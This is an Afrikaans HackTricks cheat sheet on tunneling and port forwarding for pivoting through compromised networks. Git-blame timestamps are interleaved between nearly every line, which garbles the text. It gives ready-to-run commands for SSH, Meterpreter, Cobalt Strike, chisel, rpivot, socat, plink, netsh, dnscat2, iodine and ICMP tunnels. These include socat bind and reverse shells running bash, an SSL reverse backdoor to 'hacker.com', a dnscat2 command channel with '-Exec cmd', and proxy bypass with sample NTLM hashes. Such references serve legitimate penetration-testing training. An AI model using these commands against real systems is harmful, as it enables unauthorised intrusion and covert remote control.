2024-03-14 23:38:35 +00:00
# Tunneling en Poort Deurverwysing
2022-04-28 16:01:33 +00:00
< details >
2024-03-26 15:51:04 +00:00
< summary > < strong > Leer AWS-hacking vanaf nul tot held met< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-03-26 15:51:04 +00:00
* Werk jy by 'n **cybersekerheidsmaatskappy** ? Wil jy jou **maatskappy geadverteer sien in HackTricks** ? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat** ? Kyk na die [**INSKRYWINGSPLANNE** ](https://github.com/sponsors/carlospolop )!
* Ontdek [**Die PEASS-familie** ](https://opensea.io/collection/the-peass-family ), ons versameling eksklusiewe [**NFT's** ](https://opensea.io/collection/the-peass-family )
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-03-26 15:51:04 +00:00
* **Sluit aan by die** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord-groep** ](https://discord.gg/hRep4RUj7f ) of die [**telegram-groep** ](https://t.me/peass ) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslagplek ](https://github.com/carlospolop/hacktricks ) en [hacktricks-cloud-opslagplek ](https://github.com/carlospolop/hacktricks-cloud )**.
2022-04-28 16:01:33 +00:00
< / details >
2024-03-26 15:51:04 +00:00
**Probeer Hard Security Group**
2024-03-14 23:38:35 +00:00
2024-03-26 15:51:04 +00:00
< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
2024-03-14 23:38:35 +00:00
{% embed url="https://discord.gg/tryhardsecurity" %}
***
2024-02-11 02:07:06 +00:00
## Nmap wenk
2022-08-14 10:22:31 +00:00
{% hint style="warning" %}
2024-03-26 15:51:04 +00:00
**ICMP** en **SYN** skanderings kan nie deur sokkiesproksi's getunnel word nie, dus moet ons **ping-ontdekking uitskakel** (`-Pn`) en spesifiseer **TCP-skanderings** (`-sT`) vir hierdie doel.
2022-08-14 10:22:31 +00:00
{% endhint %}
2022-07-12 09:09:35 +00:00
## **Bash**
2024-03-24 13:29:36 +00:00
**Gasheer -> Spring -> InternA -> InternB**
2022-07-12 09:09:35 +00:00
```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
2022-07-30 10:31:46 +00:00
nc -lvnp 5985 0< backpipe | nc -lvnp 3333 1 > backpipe
2022-07-12 09:09:35 +00:00
# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
2022-07-30 10:31:46 +00:00
exec 3< >/dev/tcp/internalB/5985
exec 4< >/dev/tcp/Jump/3333
cat < & 3 >& 4 &
cat < & 4 >& 3 &
2022-07-12 09:09:35 +00:00
2022-10-11 08:23:55 +00:00
# From the host, you can now access InternalB from the Jump server
2022-07-12 09:09:35 +00:00
evil-winrm -u username -i Jump
```
2022-05-08 23:13:03 +00:00
## **SSH**
2020-07-15 15:43:14 +00:00
2024-02-11 02:07:06 +00:00
SSH grafiese verbinding (X)
2020-07-15 15:43:14 +00:00
```bash
ssh -Y -C < user > @< ip > #-Y is less secure but faster than -X
```
2024-03-26 15:51:04 +00:00
### Plaaslike Poort-na-Poort
2020-07-15 15:43:14 +00:00
2024-02-11 02:07:06 +00:00
Maak 'n nuwe poort oop in SSH-bediener --> Ander poort
2020-07-15 15:43:14 +00:00
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
```bash
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
```
2024-03-14 23:38:35 +00:00
### Poort-tot-poort
2020-07-15 15:43:14 +00:00
2024-03-14 23:38:35 +00:00
Plaaslike poort --> Gehackte gasheer (SSH) --> Derde\_kas:Poort
2020-07-15 15:43:14 +00:00
```bash
2024-02-11 02:07:06 +00:00
ssh -i ssh_key < user > @< ip_compromised > -L < attacker_port > :< ip_victim > :< remote_port > [-p < ssh_port > ] [-N -f] #This way the terminal is still in your host
2020-07-15 15:43:14 +00:00
#Example
2020-09-04 18:29:25 +00:00
sudo ssh -L 631:< ip_victim > :631 -N -f -l < username > < ip_compromised >
2020-07-15 15:43:14 +00:00
```
2024-03-14 23:38:35 +00:00
### Poort2gasheer (proxychains)
2020-07-15 15:43:14 +00:00
2024-03-26 15:51:04 +00:00
Plaaslike Poort --> Gehackte gasheer (SSH) --> Waarookal
2020-07-15 15:43:14 +00:00
```bash
ssh -f -N -D < attacker_port > < username > @< ip_compromised > #All sent to local port will exit through the compromised server (use as proxy)
```
2024-03-14 23:38:35 +00:00
### Omgekeerde Poort Deurstuur
2020-07-15 15:43:14 +00:00
2024-03-26 15:51:04 +00:00
Dit is nuttig om omgekeerde shells te verkry van interne gasheer deur 'n DMZ na jou gasheer:
2022-10-02 15:25:27 +00:00
```bash
ssh -i dmz_key -R < dmz_internal_ip > :443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
# Note that port 443 must be open
2024-02-11 02:07:06 +00:00
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
2022-10-02 15:25:27 +00:00
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
```
2024-03-14 23:38:35 +00:00
### VPN-Tonnel
2020-07-15 15:43:14 +00:00
2024-03-14 23:38:35 +00:00
Jy benodig **root in beide toestelle** (aangesien jy nuwe interfaces gaan skep) en die sshd-config moet root login toelaat:\
2022-05-08 23:13:03 +00:00
`PermitRootLogin yes` \
2020-07-15 15:43:14 +00:00
`PermitTunnel yes`
```bash
2022-12-30 09:44:03 +00:00
ssh root@server -w any:any #This will create Tun interfaces in both devices
2020-07-15 15:43:14 +00:00
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
2022-12-30 09:44:03 +00:00
ifconfig tun0 up #Activate the client side network interface
2020-07-15 15:43:14 +00:00
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
2022-12-30 09:44:03 +00:00
ifconfig tun0 up #Activate the server side network interface
2020-07-15 15:43:14 +00:00
```
2024-03-26 15:51:04 +00:00
Aktiveer deurstuur op die Bedienerkant.
2020-07-15 15:43:14 +00:00
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```
2024-03-26 15:51:04 +00:00
Stel 'n nuwe roete aan die kliëntkant in.
2022-05-08 23:13:03 +00:00
```
2020-07-15 15:43:14 +00:00
route add -net 10.0.0.0/16 gw 1.1.1.1
```
2022-05-08 23:13:03 +00:00
## SSHUTTLE
2020-07-15 15:43:14 +00:00
2024-03-14 23:38:35 +00:00
Jy kan **tunnel** via **ssh** al die **verkeer** na 'n **subnetwerk** deur 'n gasheer.\
Byvoorbeeld, stuur al die verkeer wat na 10.10.10.0/24 gaan.
2020-07-15 15:43:14 +00:00
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
```
2024-03-26 15:51:04 +00:00
Maak 'n verbinding met 'n privaatsleutel
2022-12-28 14:17:50 +00:00
```bash
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode
```
2022-05-08 23:13:03 +00:00
## Meterpreter
2020-07-15 15:43:14 +00:00
2024-02-11 02:07:06 +00:00
### Poort-tot-poort
2020-07-15 15:43:14 +00:00
2024-03-26 15:51:04 +00:00
Plaaslike poort --> Gehackte gasheer (aktiewe sessie) --> Derde\_kas:Poort
2020-07-15 15:43:14 +00:00
```bash
# Inside a meterpreter session
portfwd add -l < attacker_port > -p < Remote_port > -r < Remote_host >
```
2022-08-14 10:22:31 +00:00
### SOCKS
2020-07-15 15:43:14 +00:00
2024-03-26 15:51:04 +00:00
SOCKS (Socket Secure) is 'n protokol wat gebruik word om 'n privaat skakel tussen rekenaars te skep. Dit kan gebruik word vir anonimiteit en om deur vuremuure te beweeg.
2020-07-15 15:43:14 +00:00
```bash
background# meterpreter session
2020-12-29 16:25:19 +00:00
route add < IP_victim > < Netmask > < Session > # (ex: route add 10.10.10.14 255.255.255.0 8)
2020-12-29 16:38:01 +00:00
use auxiliary/server/socks_proxy
2020-07-15 15:43:14 +00:00
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
2024-03-14 23:38:35 +00:00
### Tunneling and Port Forwarding
#### Tunneling
2024-03-26 15:51:04 +00:00
Tunneling is a method that allows data to be transferred securely over a public network. It involves encapsulating the data in another protocol to create a secure communication channel. This can be useful for bypassing network restrictions or securely accessing resources on a remote network.
2024-03-14 23:38:35 +00:00
#### Port Forwarding
2024-03-26 15:51:04 +00:00
Port forwarding is a technique that allows a computer's services to be accessed from the internet. It involves redirecting specific network traffic from one port to another, typically used to expose services running on a local machine to the internet. Port forwarding can be used for remote access, gaming, or hosting services.
2020-07-15 15:43:14 +00:00
```bash
background #meterpreter session
2020-12-29 16:33:11 +00:00
use post/multi/manage/autoroute
2020-07-15 15:43:14 +00:00
set SESSION < session_n >
set SUBNET < New_net_ip > #Ex: set SUBNET 10.1.13.0
set NETMASK < Netmask >
run
2020-12-29 16:38:01 +00:00
use auxiliary/server/socks_proxy
set VERSION 4a
2020-07-15 15:43:14 +00:00
run #Proxy port 1080 by default
2020-12-29 16:38:01 +00:00
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
2020-07-15 15:43:14 +00:00
```
2022-08-14 10:22:31 +00:00
## Cobalt Strike
2024-03-14 23:38:35 +00:00
### SOCKS proxy
2022-08-14 10:22:31 +00:00
2024-03-26 15:51:04 +00:00
Maak 'n poort oop in die spanbediener wat luister op al die koppelvlakke wat gebruik kan word om die verkeer deur die baken te roeteer.
2022-08-14 10:22:31 +00:00
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
```
2024-03-26 15:51:04 +00:00
### rPort2Port
2022-08-14 12:59:30 +00:00
{% hint style="warning" %}
2024-03-26 15:51:04 +00:00
In hierdie geval is die **poort oopgemaak in die bakenserver** , nie in die Spanbediener nie, en die verkeer word gestuur na die Spanbediener en vandaar na die aangeduide gasheer:poort
2022-08-14 12:59:30 +00:00
{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
2024-02-11 02:07:06 +00:00
### rPort2Port plaaslik
2022-08-14 12:59:30 +00:00
{% hint style="warning" %}
2024-03-26 15:51:04 +00:00
In hierdie geval word die **poort oopgemaak in die bakenserver** , nie in die Spanbediener nie, en die **verkeer word gestuur na die Cobalt Strike-kliënt** (nie na die Spanbediener nie) en vandaar na die aangeduide gasheer:poort.
2022-08-14 12:59:30 +00:00
{% endhint %}
```
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
```
2022-05-08 23:13:03 +00:00
## reGeorg
2020-07-15 15:43:14 +00:00
[https://github.com/sensepost/reGeorg ](https://github.com/sensepost/reGeorg )
2024-03-14 23:38:35 +00:00
Jy moet 'n weblêer tonnel oplaai: ashx|aspx|js|jsp|php|php|jsp
2020-07-15 15:43:14 +00:00
```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
2024-03-14 23:38:35 +00:00
## Beitel
2020-09-04 15:28:12 +00:00
2024-02-11 02:07:06 +00:00
Jy kan dit aflaai van die vrystellingsbladsy van [https://github.com/jpillora/chisel ](https://github.com/jpillora/chisel )\
Jy moet dieselfde weergawe vir klient en bediener gebruik
2024-03-24 13:29:36 +00:00
### sokkies
2020-09-04 15:28:12 +00:00
```bash
2022-10-05 21:51:12 +00:00
./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
2021-01-09 12:25:38 +00:00
#And now you can use proxychains with port 1080 (default)
2022-10-05 21:51:12 +00:00
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
2020-09-04 15:28:12 +00:00
```
2024-02-11 02:07:06 +00:00
### Poort deurstuur
2021-03-24 04:37:12 +00:00
```bash
2022-10-05 21:51:12 +00:00
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
2021-03-24 04:37:12 +00:00
```
2022-05-08 23:13:03 +00:00
## Rpivot
2020-07-15 15:43:14 +00:00
[https://github.com/klsecservices/rpivot ](https://github.com/klsecservices/rpivot )
2024-02-11 02:07:06 +00:00
Omgekeerde tonnel. Die tonnel word vanaf die slagoffer begin.\
2024-03-14 23:38:35 +00:00
'n Socks4-proksi word geskep op 127.0.0.1:1080
2020-07-15 15:43:14 +00:00
```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
```
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999
```
2024-03-14 23:38:35 +00:00
Pivot deur **NTLM-proksi**
2020-07-15 15:43:14 +00:00
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999 --ntlm-proxy-ip < proxy_ip > --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999 --ntlm-proxy-ip < proxy_ip > --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
```
2022-05-08 23:13:03 +00:00
## **Socat**
2020-07-15 15:43:14 +00:00
[https://github.com/andrew-d/static-binaries ](https://github.com/andrew-d/static-binaries )
2024-03-14 23:38:35 +00:00
### Bind skul
2020-07-15 15:43:14 +00:00
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
2022-10-05 21:51:12 +00:00
attacker> socat FILE:`tty`,raw,echo=0 TCP4:< victim_ip > :1337
2020-07-15 15:43:14 +00:00
```
2024-03-14 23:38:35 +00:00
### Terugskulp
2020-07-15 15:43:14 +00:00
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:< attackers_ip > :1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
2024-03-14 23:38:35 +00:00
### Poort-tot-poort
2020-07-15 15:43:14 +00:00
```bash
2022-10-05 21:51:12 +00:00
socat TCP4-LISTEN:< lport > ,fork TCP4:< redirect_ip > :< rport > &
2020-07-15 15:43:14 +00:00
```
2024-03-24 13:29:36 +00:00
### Poort-tot-poort deur sokkies
2020-07-15 15:43:14 +00:00
```bash
2022-10-05 21:51:12 +00:00
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
2020-07-15 15:43:14 +00:00
```
2024-02-11 02:07:06 +00:00
### Meterpreter deur SSL Socat
2020-07-15 15:43:14 +00:00
```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
```
```bash
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
2024-03-14 23:38:35 +00:00
Jy kan 'n **nie-geauthentiseerde proksi** omseil deur hierdie lyn uit te voer in plaas van die laaste een in die slagoffer se konsole:
2020-07-15 15:43:14 +00:00
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
2024-03-24 13:29:36 +00:00
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/ ](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/ )
2020-07-15 15:43:14 +00:00
2024-03-14 23:38:35 +00:00
### SSL Socat Tonnel
2020-07-15 15:43:14 +00:00
2024-03-14 23:38:35 +00:00
**/bin/sh konsole**
2020-07-15 15:43:14 +00:00
2024-03-14 23:38:35 +00:00
Skep sertifikate aan beide kante: Klient en Bediener
2020-07-15 15:43:14 +00:00
```bash
2022-09-13 13:07:37 +00:00
# Execute these commands on both sides
2020-07-15 15:43:14 +00:00
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
```
```bash
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```
2024-03-26 15:51:04 +00:00
### Remote Poort-na-Poort
2020-07-15 15:43:14 +00:00
2024-02-11 02:07:06 +00:00
Verbind die plaaslike SSH-poort (22) met die 443-poort van die aanvaller se gasheer.
2020-07-15 15:43:14 +00:00
```bash
2024-02-11 02:07:06 +00:00
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:< attacker > :443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
2020-07-15 15:43:14 +00:00
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
```
2022-05-08 23:13:03 +00:00
## Plink.exe
2020-07-15 15:43:14 +00:00
2024-03-26 15:51:04 +00:00
Dit is soos 'n konsolideerder PuTTY weergawe (die opsies is baie soortgelyk aan 'n ssh-klient).
2020-07-15 15:43:14 +00:00
2024-03-26 15:51:04 +00:00
Aangesien hierdie binêre lêer op die slagoffer uitgevoer sal word en dit 'n ssh-klient is, moet ons ons ssh-diens en poort oopmaak sodat ons 'n omgekeerde verbinding kan hê. Dan, om slegs plaaslik toeganklike poort na 'n poort op ons masjien deur te stuur:
2020-07-15 15:43:14 +00:00
```bash
2021-01-03 00:43:09 +00:00
echo y | plink.exe -l < Our_valid_username > -pw < valid_password > [-p < port > ] -R < port_ in_our_host > :< next_ip > :< final_port > < your_ip >
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
2020-07-15 15:43:14 +00:00
```
2022-10-05 21:51:12 +00:00
## Windows netsh
2024-03-14 23:38:35 +00:00
### Poort-tot-poort
2022-10-05 21:51:12 +00:00
2024-02-11 02:07:06 +00:00
Jy moet 'n plaaslike admin wees (vir enige poort)
2022-10-05 21:51:12 +00:00
```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
2024-02-11 02:07:06 +00:00
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
2022-10-05 21:51:12 +00:00
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```
## SocksOverRDP & Proxifier
2024-02-11 02:07:06 +00:00
Jy moet **RDP-toegang oor die stelsel** hê.\
Aflaai:
2022-10-05 21:51:12 +00:00
2024-03-26 15:51:04 +00:00
1. [SocksOverRDP x64 Binêre lêers ](https://github.com/nccgroup/SocksOverRDP/releases ) - Hierdie instrument gebruik `Dinamiese Virtuele Kanale` (`DVC`) van die Verrekenaarbedienerdiensfunksie van Windows. DVC is verantwoordelik vir **tunneling pakkies oor die RDP-verbinding** .
2024-02-11 02:07:06 +00:00
2. [Proxifier Draagbare Binêre lêer ](https://www.proxifier.com/download/#win-tab )
2022-10-05 21:51:12 +00:00
2024-03-26 15:51:04 +00:00
Laai ** `SocksOverRDP-Plugin.dll` ** op jou kliëntrekenaar soos hierdie:
2022-10-05 21:51:12 +00:00
```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
2024-03-24 13:29:36 +00:00
Nou kan ons **verbind** met die **slagoffer** oor **RDP** deur ** `mstsc.exe` ** te gebruik, en ons behoort 'n **aanvraag** te ontvang wat sê dat die **SocksOverRDP-inprop geaktiveer** is, en dit sal **luister** op **127.0.0.1:1080** .
2022-10-05 21:51:12 +00:00
2024-03-24 13:29:36 +00:00
**Verbind** via **RDP** en laai & voer die `SocksOverRDP-Server.exe` binêre lêer op die slagoffer se masjien uit:
2022-10-05 21:51:12 +00:00
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
2024-03-26 15:51:04 +00:00
**Bevestig nou op jou masjien (aanvaller) dat poort 1080 aan die luister is:**
2022-10-05 21:51:12 +00:00
```
netstat -antb | findstr 1080
```
2024-03-26 15:51:04 +00:00
Nou kan jy ** [Proxifier ](https://www.proxifier.com/ )** gebruik **om die verkeer deur daardie poort te proxy.**
2022-10-05 21:51:12 +00:00
2024-03-14 23:38:35 +00:00
## Proxify Windows GUI Apps
2022-10-05 21:51:12 +00:00
2024-03-14 23:38:35 +00:00
Jy kan Windows GUI-programme laat navigeer deur 'n proxy te gebruik met [**Proxifier** ](https://www.proxifier.com/ ).\
In **Profiel -> Proxy-bedieners** voeg die IP en poort van die SOCKS-bediener by.\
In **Profiel -> Proxifiseringreëls** voeg die naam van die program wat geproxifiseer moet word by en die verbindinge na die IP-adresse wat jy wil proxifiseer.
2022-08-14 10:22:31 +00:00
2024-03-24 12:29:59 +00:00
## NTLM proxy omseil
2020-07-15 15:43:14 +00:00
2024-03-14 23:38:35 +00:00
Die voorheen genoemde instrument: **Rpivot** \
2024-02-11 02:07:06 +00:00
**OpenVPN** kan dit ook omseil deur hierdie opsies in die konfigurasie-lêer in te stel:
2020-07-15 15:43:14 +00:00
```bash
http-proxy < proxy_ip > 8080 < file_with_creds > ntlm
```
2022-05-08 23:13:03 +00:00
### Cntlm
2020-07-15 15:43:14 +00:00
2022-05-16 08:29:00 +00:00
[http://cntlm.sourceforge.net/ ](http://cntlm.sourceforge.net/ )
2020-07-15 15:43:14 +00:00
2024-03-14 23:38:35 +00:00
Dit verifieer teen 'n proksi en bind 'n poort plaaslik wat na die eksterne diens wat jy spesifiseer, deurgestuur word. Dan kan jy die gereedskap van jou keuse deur hierdie poort gebruik.\
Byvoorbeeld wat poort 443 deurstuur
2022-05-08 23:13:03 +00:00
```
2024-02-11 02:07:06 +00:00
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
2020-07-15 15:43:14 +00:00
Tunnel 2222:< attackers_machine > :443
```
2024-03-26 15:51:04 +00:00
Nou, as jy byvoorbeeld die **SSH** -diens in die slagoffer instel om na port 443 te luister. Jy kan daarmee verbind deur die aanvaller se poort 2222.\
2024-03-14 23:38:35 +00:00
Jy kan ook 'n **meterpreter** gebruik wat na localhost:443 verbind en die aanvaller luister na poort 2222.
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
## YARP
2020-07-15 15:43:14 +00:00
2024-03-14 23:38:35 +00:00
'n Omgekeerde proxy geskep deur Microsoft. Jy kan dit hier vind: [https://github.com/microsoft/reverse-proxy ](https://github.com/microsoft/reverse-proxy )
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
## DNS Tunneling
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
### Iodine
2020-07-15 15:43:14 +00:00
[https://code.kryo.se/iodine/ ](https://code.kryo.se/iodine/ )
2024-03-24 13:29:36 +00:00
Root is nodig in beide stelsels om tun-adaptere te skep en data tussen hulle te tunnel deur DNS-navrae.
2022-05-08 23:13:03 +00:00
```
2020-07-15 15:43:14 +00:00
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
2024-02-11 02:07:06 +00:00
Die tonnel sal baie stadig wees. Jy kan 'n gekomprimeerde SSH-verbinding deur hierdie tonnel skep deur die volgende te gebruik:
2022-05-08 23:13:03 +00:00
```
2020-07-15 15:43:14 +00:00
ssh < user > @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
2022-05-08 23:13:03 +00:00
### DNSCat2
2020-07-15 15:43:14 +00:00
2024-02-11 02:07:06 +00:00
[**Laai dit hier af** ](https://github.com/iagox86/dnscat2 )**.**
2020-07-15 15:43:14 +00:00
2024-02-11 02:07:06 +00:00
Stel 'n C\&C-kanaal deur DNS op. Dit benodig nie root-voorregte nie.
2020-07-15 15:43:14 +00:00
```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
2022-10-05 21:51:12 +00:00
# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
2020-07-15 15:43:14 +00:00
```
2022-10-05 21:51:12 +00:00
#### **In PowerShell**
2024-03-14 23:38:35 +00:00
Jy kan [**dnscat2-powershell** ](https://github.com/lukebaggett/dnscat2-powershell ) gebruik om 'n dnscat2-klient in PowerShell te hardloop:
2022-10-05 21:51:12 +00:00
```
Import-Module .\dnscat2.ps1
2024-02-11 02:07:06 +00:00
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
2022-10-05 21:51:12 +00:00
```
2024-02-11 02:07:06 +00:00
#### **Poort deurstuur met dnscat**
2020-07-15 15:43:14 +00:00
```bash
session -i < sessions_id >
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
2024-02-11 02:07:06 +00:00
#### Verander proxychains DNS
2020-07-15 15:43:14 +00:00
2024-03-26 15:51:04 +00:00
Proxychains onderskep die `gethostbyname` libc-oproep en stuur tcp DNS-versoeke deur die socks-proksi. Standaard gebruik proxychains die DNS-bediener **4.2.2.2** (hardgekoeër). Om dit te verander, wysig die lêer: _/usr/lib/proxychains3/proxyresolv_ en verander die IP. As jy in 'n **Windows-omgewing** is, kan jy die IP van die **domeinbeheerder** instel.
2020-07-15 15:43:14 +00:00
2024-02-11 02:07:06 +00:00
## Tonnels in Go
2020-07-15 15:43:14 +00:00
[https://github.com/hotnops/gtunnel ](https://github.com/hotnops/gtunnel )
2024-03-26 15:51:04 +00:00
## ICMP Tonneling
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
### Hans
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
[https://github.com/friedrich/hans ](https://github.com/friedrich/hans )\
2020-07-15 15:43:14 +00:00
[https://github.com/albertzak/hanstunnel ](https://github.com/albertzak/hanstunnel )
2024-03-26 15:51:04 +00:00
Root is nodig in beide stelsels om tonnel-adaptere te skep en data tussen hulle te tonnel met behulp van ICMP-echoversoeke.
2020-07-15 15:43:14 +00:00
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c < server_ip > -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
```
2022-10-05 21:51:12 +00:00
### ptunnel-ng
2024-02-11 02:07:06 +00:00
[**Laai dit hier af** ](https://github.com/utoni/ptunnel-ng.git ).
2022-10-05 21:51:12 +00:00
```bash
# Generate it
2024-02-11 02:07:06 +00:00
sudo ./autogen.sh
2022-10-05 21:51:12 +00:00
# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p < server_ip > -l < listen_port > -r < dest_ip > -R < dest_port >
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1
```
2023-03-15 12:00:16 +00:00
## ngrok
2024-03-26 15:51:04 +00:00
**[ngrok](https://ngrok.com/) is 'n gereedskap om oplossings aan die internet bloot te stel in een opdragreël.**
*Uitstal URI is soos:* **UID.ngrok.io**
2023-03-15 12:00:16 +00:00
2024-02-11 02:07:06 +00:00
### Installasie
2023-03-15 12:00:16 +00:00
2024-02-11 02:07:06 +00:00
- Skep 'n rekening: https://ngrok.com/signup
2024-03-14 23:38:35 +00:00
- Klient aflaai:
2023-03-15 12:00:16 +00:00
```bash
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit
```
2024-02-11 02:07:06 +00:00
### Basiese gebruike
2023-03-15 12:00:16 +00:00
2024-02-11 02:07:06 +00:00
**Dokumentasie:** [https://ngrok.com/docs/getting-started/ ](https://ngrok.com/docs/getting-started/ ).
2023-03-15 12:00:16 +00:00
2024-02-11 02:07:06 +00:00
*Dit is ook moontlik om verifikasie en TLS by te voeg, indien nodig.*
2023-03-15 12:00:16 +00:00
2024-03-26 15:51:04 +00:00
